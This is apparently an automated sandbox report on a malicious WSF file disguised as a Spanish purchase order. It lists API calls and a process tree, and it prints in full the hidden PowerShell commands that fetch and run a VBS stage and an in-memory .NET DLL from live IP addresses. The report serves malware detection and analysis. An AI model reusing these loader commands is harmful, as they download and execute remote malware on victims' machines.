Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0405F900 27_2_0405F900
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04074120 27_2_04074120
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040799BF 27_2_040799BF
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0410FA2B 27_2_0410FA2B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041222AE 27_2_041222AE
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04122B28 27_2_04122B28
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407AB40 27_2_0407AB40
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0408EBB0 27_2_0408EBB0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411DBD2 27_2_0411DBD2
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041103DA 27_2_041103DA
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_032190A0 27_2_032190A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0321909B 27_2_0321909B
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0322CFAA 27_2_0322CFAA
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03212FB0 27_2_03212FB0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03212D88 27_2_03212D88
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03212D90 27_2_03212D90
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: String function: 0405B150 appears 72 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 0291B150 appears 45 times
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00418AA0 NtCreateFile, 15_2_00418AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00418B50 NtReadFile, 15_2_00418B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00418BD0 NtClose, 15_2_00418BD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00418C80 NtAllocateVirtualMemory, 15_2_00418C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00418A9A NtCreateFile, 15_2_00418A9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00418BCA NtReadFile, 15_2_00418BCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959A00 NtProtectVirtualMemory,LdrInitializeThunk, 15_2_02959A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959A20 NtResumeThread,LdrInitializeThunk, 15_2_02959A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959A50 NtCreateFile,LdrInitializeThunk, 15_2_02959A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029598F0 NtReadVirtualMemory,LdrInitializeThunk, 15_2_029598F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959840 NtDelayExecution,LdrInitializeThunk, 15_2_02959840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959860 NtQuerySystemInformation,LdrInitializeThunk, 15_2_02959860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029599A0 NtCreateSection,LdrInitializeThunk, 15_2_029599A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959910 NtAdjustPrivilegesToken,LdrInitializeThunk, 15_2_02959910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029596E0 NtFreeVirtualMemory,LdrInitializeThunk, 15_2_029596E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959660 NtAllocateVirtualMemory,LdrInitializeThunk, 15_2_02959660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959780 NtMapViewOfSection,LdrInitializeThunk, 15_2_02959780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029597A0 NtUnmapViewOfSection,LdrInitializeThunk, 15_2_029597A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959FE0 NtCreateMutant,LdrInitializeThunk, 15_2_02959FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959710 NtQueryInformationToken,LdrInitializeThunk, 15_2_02959710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029595D0 NtClose,LdrInitializeThunk, 15_2_029595D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959540 NtReadFile,LdrInitializeThunk, 15_2_02959540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959A80 NtOpenDirectoryObject, 15_2_02959A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959A10 NtQuerySection, 15_2_02959A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0295A3B0 NtGetContextThread, 15_2_0295A3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959B00 NtSetValueKey, 15_2_02959B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029598A0 NtWriteVirtualMemory, 15_2_029598A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959820 NtEnumerateKey, 15_2_02959820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0295B040 NtSuspendThread, 15_2_0295B040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029599D0 NtCreateProcessEx, 15_2_029599D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959950 NtQueueApcThread, 15_2_02959950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029596D0 NtCreateKey, 15_2_029596D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959610 NtEnumerateValueKey, 15_2_02959610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959650 NtQueryValueKey, 15_2_02959650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959670 NtQueryInformationProcess, 15_2_02959670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0295A710 NtOpenProcessToken, 15_2_0295A710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959730 NtQueryVirtualMemory, 15_2_02959730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959770 NtSetInformationFile, 15_2_02959770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0295A770 NtOpenThread, 15_2_0295A770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959760 NtOpenProcess, 15_2_02959760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029595F0 NtQueryInformationFile, 15_2_029595F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0295AD30 NtSetContextThread, 15_2_0295AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959520 NtWaitForSingleObject, 15_2_02959520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02959560 NtWriteFile, 15_2_02959560
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099540 NtReadFile,LdrInitializeThunk, 27_2_04099540
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040995D0 NtClose,LdrInitializeThunk, 27_2_040995D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099650 NtQueryValueKey,LdrInitializeThunk, 27_2_04099650
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099660 NtAllocateVirtualMemory,LdrInitializeThunk, 27_2_04099660
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040996D0 NtCreateKey,LdrInitializeThunk, 27_2_040996D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040996E0 NtFreeVirtualMemory,LdrInitializeThunk, 27_2_040996E0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099710 NtQueryInformationToken,LdrInitializeThunk, 27_2_04099710
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099780 NtMapViewOfSection,LdrInitializeThunk, 27_2_04099780
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099FE0 NtCreateMutant,LdrInitializeThunk, 27_2_04099FE0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099840 NtDelayExecution,LdrInitializeThunk, 27_2_04099840
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099860 NtQuerySystemInformation,LdrInitializeThunk, 27_2_04099860
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099910 NtAdjustPrivilegesToken,LdrInitializeThunk, 27_2_04099910
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040999A0 NtCreateSection,LdrInitializeThunk, 27_2_040999A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099A50 NtCreateFile,LdrInitializeThunk, 27_2_04099A50
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099520 NtWaitForSingleObject, 27_2_04099520
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0409AD30 NtSetContextThread, 27_2_0409AD30
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099560 NtWriteFile, 27_2_04099560
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040995F0 NtQueryInformationFile, 27_2_040995F0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099610 NtEnumerateValueKey, 27_2_04099610
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099670 NtQueryInformationProcess, 27_2_04099670
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0409A710 NtOpenProcessToken, 27_2_0409A710
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099730 NtQueryVirtualMemory, 27_2_04099730
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099760 NtOpenProcess, 27_2_04099760
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0409A770 NtOpenThread, 27_2_0409A770
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099770 NtSetInformationFile, 27_2_04099770
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040997A0 NtUnmapViewOfSection, 27_2_040997A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099820 NtEnumerateKey, 27_2_04099820
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0409B040 NtSuspendThread, 27_2_0409B040
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040998A0 NtWriteVirtualMemory, 27_2_040998A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040998F0 NtReadVirtualMemory, 27_2_040998F0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099950 NtQueueApcThread, 27_2_04099950
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040999D0 NtCreateProcessEx, 27_2_040999D0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099A00 NtProtectVirtualMemory, 27_2_04099A00
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099A10 NtQuerySection, 27_2_04099A10
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099A20 NtResumeThread, 27_2_04099A20
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099A80 NtOpenDirectoryObject, 27_2_04099A80
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04099B00 NtSetValueKey, 27_2_04099B00
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0409A3B0 NtGetContextThread, 27_2_0409A3B0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03228B50 NtReadFile, 27_2_03228B50
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03228BD0 NtClose, 27_2_03228BD0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03228AA0 NtCreateFile, 27_2_03228AA0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03228C80 NtAllocateVirtualMemory, 27_2_03228C80
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03228BCA NtReadFile, 27_2_03228BCA
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_03228A9A NtCreateFile, 27_2_03228A9A
Java / VBScript file with very long strings (likely obfuscated code)
Source: NUEVA ORDEN DE COMPRA 80107.wsf Initial sample: Strings found which are bigger than 50
Tries to load missing DLLs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\NUEVA ORDEN DE COMPRA 80107.wsf"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe" C:\Windows\Temp\Done.vbs
Source: unknown Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\Done.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.232.4/dll/26-05-2022-StartUp.pdf'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ddscfIvqgW.HoNYlDROLP').GetMethod('Run').Invoke($null, [object[]] ('txt.kjihugfdst/22.75.65.2//:ptth'))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Done.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden Start-Sleep 5;Start-Process C:\ProgramData\Done.vbs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Start-Sleep 5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Done.vbs"
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\WWAHost.exe C:\Windows\SysWOW64\WWAHost.exe
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe" /LOADSAVEDWINDOWS
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe" /LOADSAVEDWINDOWS
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe" C:\Windows\Temp\Done.vbs Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\Done.vbs" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\WWAHost.exe C:\Windows\SysWOW64\WWAHost.exe Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://20.106.232.4/dll/26-05-2022-StartUp.pdf'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ddscfIvqgW.HoNYlDROLP').GetMethod('Run').Invoke($null, [object[]] ('txt.kjihugfdst/22.75.65.2//:ptth')) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\Done.vbs Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Start-Sleep 5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Done.vbs" Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220527 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fuzbet0.1gd.ps1 Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winWSF@70/24@8/6
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5980:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4992:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_01
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3276:120:WilError_01
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\explorer.exe
Source: unknown Process created: C:\Windows\explorer.exe
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\SysWOW64\WWAHost.exe Process created: C:\Windows\explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\explorer.exe Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: RegAsm.pdb source: explorer.exe, 00000006.00000000.614677532.00000000029E7000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: RegAsm.exe, 0000000F.00000003.425165861.0000000002754000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: WAUgLeAhDG.pdb source: powershell.exe, 0000000C.00000002.436703755.00000181B4EB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.451254825.00000181CD3D0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RegAsm.exe, RegAsm.exe, 0000000F.00000003.425165861.0000000002754000.00000004.00000800.00020000.00000000.sdmp, WWAHost.exe
